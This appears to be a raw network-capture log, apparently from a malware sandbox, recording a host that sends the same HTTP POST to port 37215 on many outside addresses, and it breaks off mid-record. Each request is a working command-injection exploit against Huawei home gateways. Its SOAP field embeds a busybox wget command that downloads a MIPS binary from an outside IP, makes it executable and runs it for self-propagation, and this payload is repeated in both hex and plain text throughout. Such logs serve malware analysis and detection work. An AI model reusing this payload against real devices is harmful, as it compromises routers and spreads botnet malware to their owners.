Mar 6, 2025 21:38:03.854574919 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	41832	46.255.10.184	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.855861902 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	52570	41.35.133.151	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.857059956 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	57546	223.8.101.170	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.858167887 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	59154	41.178.82.123	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.859527111 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	50758	197.16.127.31	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.860620975 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	59604	197.65.45.228	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.862041950 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	35858	46.170.39.233	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.863082886 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	40740	196.114.213.245	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.864684105 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	51034	196.19.79.89	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.865737915 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	45012	134.76.175.137	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.867167950 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 